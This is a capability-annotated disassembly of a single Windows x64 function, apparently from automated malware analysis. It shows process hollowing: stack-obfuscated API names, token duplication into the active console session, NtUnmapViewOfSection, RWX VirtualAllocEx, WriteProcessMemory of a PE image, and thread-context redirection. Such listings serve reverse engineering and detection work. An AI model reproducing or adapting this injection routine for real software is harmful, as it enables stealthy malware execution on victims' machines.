Function at 0x14006f190
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create a process with modified i/o handles and window
Create process on windows
Execute shellcode via indirect call
Link many functions at runtime
Parse pe header
Resume thread
Terminate process

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xb0]
sub rsp, 0x1b0
mov rax, qword [0x1400a45d0]
xor rax, rsp
mov qword [rbp + 0xa0], rax
xor r13d, r13d
mov r15, r8
mov rdi, rdx
mov sil, r13b
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x78], r13
mov r14, rcx
call qword [sym.imp.KERNEL32.dll_WTSGetActiveConsoleSessionId]
lea rdx, [rsp + 0x60]
mov ecx, eax
call fcn.14006f6e4
test al, al
je 0x14006f6a0
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x14006f6a0
lea rax, [rsp + 0x68]
lea r9d, [r13 + 2]
xor r8d, r8d
mov qword [rsp + 0x28], rax
mov edx, 0x2000000
mov qword [rsp + 0x68], r13
mov dword [rsp + 0x20], 1
call qword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
je 0x14006f690
mov rdx, qword [rsp + 0x60]
lea rcx, [rsp + 0x78]
xor r8d, r8d
call qword [sym.imp.USERENV.dll_CreateEnvironmentBlock]
test eax, eax
je 0x14006f66b
lea rcx, [rbp + 0x28]
mov dword [rbp + 0x2c], 0x32336c65
mov word [rbp + 0x29], 0x7265
mov dword [rbp + 0x30], 0x6c6c642e
mov byte [rbp + 0x28], 0x4b
mov byte [rbp + 0x2b], WSAGetLastError
mov byte [rbp + 0x34], r13b
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, rax
test rax, rax
je 0x14006f6d7
lea rdx, [rbp + 0x88]
mov rcx, rax
mov dword [rbp + 0x88], 0x64616552
mov dword [rbp + 0x8e], 0x7365636f
mov dword [rbp + 0x93], 0x6f6d654d
mov word [rbp + 0x97], 0x7972
mov byte [rbp + 0x92], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x99], r13b
mov word [rbp + 0x8c], 0x7250
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r12d, [r13 + 0x68]
lea rdx, [rbp + 0x70]
mov rcx, rbx
mov byte [rbp + 0x74], r12b
mov dword [rbp + 0x75], 0x64616572
mov qword [0x1400a7f58], rax
mov dword [rbp + 0x7d], 0x747865
mov dword [rbp + 0x79], 0x746e6f43
mov dword [rbp + 0x70], 0x54746547
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp + 0x48]
mov rcx, rbx
mov dword [rbp + 0x4b], 0x6c617574
mov word [rbp + 0x50], 0x6c6c
mov qword [0x1400a7f50], rax
mov dword [rbp + 0x53], 0x784563
mov word [rbp + 0x49], 0x7269
mov byte [rbp + 0x52], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x48], 0x56
mov byte [rbp + 0x4f], 0x41
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp + 0x18]
mov rcx, rbx
mov dword [rbp + 0x21], 0x636f6c
mov word [rbp + 0x18], 0x6956
mov dword [rbp + 0x1b], 0x6c617574
mov qword [0x1400a7f48], rax
mov byte [rbp + 0x1a], WSACleanup
mov word [rbp + 0x1f], 0x6c41
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp]
mov rcx, rbx
mov word [rbp + 4], 0x5065
mov word [rbp + 0xd], 0x6d65
mov word [rbp + 0xa], 0x7373
mov qword [0x1400a7f28], rax
mov word [rbp + 7], 0x636f
mov dword [rbp], 0x74697257
mov dword [rbp + 0xf], 0x79726f
mov byte [rbp + 6], WSACleanup
mov byte [rbp + 0xc], Ordinal_79
mov byte [rbp + 9], 0x65
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp + 0x58]
mov rcx, rbx
mov dword [rbp + 0x5f], 0x6f436461
mov dword [rbp + 0x64], 0x74786574
mov qword [0x1400a7f40], rax
mov dword [rbp + 0x58], 0x54746553
mov byte [rbp + 0x68], r13b
mov word [rbp + 0x5c], 0x7268
mov byte [rbp + 0x5e], 0x65
mov byte [rbp + 0x63], WSAGetLastError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp + 0x38]
mov rcx, rbx
mov word [rbp + 0x39], 0x7365
mov word [rbp + 0x3f], 0x7268
mov word [rbp + 0x3c], 0x656d
mov qword [0x1400a7f38], rax
mov word [rbp + 0x42], 0x6461
mov byte [rbp + 0x41], 0x65
mov byte [rbp + 0x3b], 0x75
mov byte [rbp + 0x38], 0x52
mov byte [rbp + 0x3e], 0x54
mov byte [rbp + 0x44], r13b
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400a7f30], rax
mov eax, 0x5a4d
cmp word [r14], ax
jne 0x14006f66b
movsxd rbx, dword [r14 + 0x3c]
add rbx, r14
cmp dword [rbx], 0x4550
jne 0x14006f66b
lea rdx, [rbp - 0x80]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
mov eax, dword [rbp - 0x80]
mov ecx, 0x14c
cmp word [rbx + 4], cx
jne 0x14006f482
test eax, eax
jne 0x14006f6d7
mov ecx, 0x8664
cmp word [rbx + 4], cx
jne 0x14006f496
cmp eax, 6
jne 0x14006f6d7
xor eax, eax
lea rcx, [rbp - 0x70]
mov r8, r12
xor edx, edx
mov qword [rbp], rax
mov qword [rbp + 8], rax
mov qword [rbp + 0x10], rax
call fcn.14004d2b0
mov rcx, qword [rsp + 0x68]
lea rax, [rbp]
xor r9d, r9d
mov r8, r15
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x70]
mov rdx, rdi
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0x8000404
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
mov dword [rbp - 0x70], r12d
mov dword [rbp - 0x34], 0x101
mov word [rbp - 0x30], r13w
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
test eax, eax
je 0x14006f66b
mov r9d, 4
mov r8d, 0x1000
xor ecx, ecx
lea r15d, [r9 + 4]
mov edx, r15d
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
mov rdi, rax
mov dword [rax + 0x30], 0x100002
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rcx, qword [rbp]
test eax, eax
je 0x14006f6cd
mov rdx, qword [rdi + 0x88]
lea r8, [rsp + 0x70]
mov r9d, r15d
add rdx, 0x10
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtUnmapViewOfSection
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rbp]
call rax
mov r8d, dword [rbx + 0x50]
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rbp]
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rcx, qword [rbp]
mov r15, rax
test rax, rax
je 0x14006f6cd
mov r9d, dword [rbx + 0x54]
mov r8, r14
mov rdx, rax
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [rbx + 0x14]
mov r12d, r13d
cmp r13w, word [rbx + 6]
jae 0x14006f61f
lea rsi, [rbx + 0x2c]
add rsi, rax
mov r8d, dword [rsi]
mov edx, dword [rsi - 8]
mov r9d, dword [rsi - 4]
mov rcx, qword [rbp]
add r8, r14
add rdx, r15
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [rbx + 6]
inc r12d
add rsi, 0x28
cmp r12d, eax
jl 0x14006f5f0
mov rdx, qword [rdi + 0x88]
mov rcx, qword [rbp]
lea r8, [rsp + 0x70]
add rdx, 0x10
mov r9d, 8
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [rbx + 0x28]
mov rdx, rdi
add rax, r15
mov qword [rdi + 0x80], rax
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov sil, 1
mov rcx, qword [rsp + 0x78]
test rcx, rcx
je 0x14006f67b
call qword [sym.imp.USERENV.dll_DestroyEnvironmentBlock]
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x14006f690
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x68], r13
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x14006f6a0
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, sil
mov rcx, qword [rbp + 0xa0]
xor rcx, rsp
call fcn.140049680
mov rbx, qword [rsp + 0x208]
add rsp, 0x1b0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x14006f66b
xor al, al
jmp 0x14006f6a3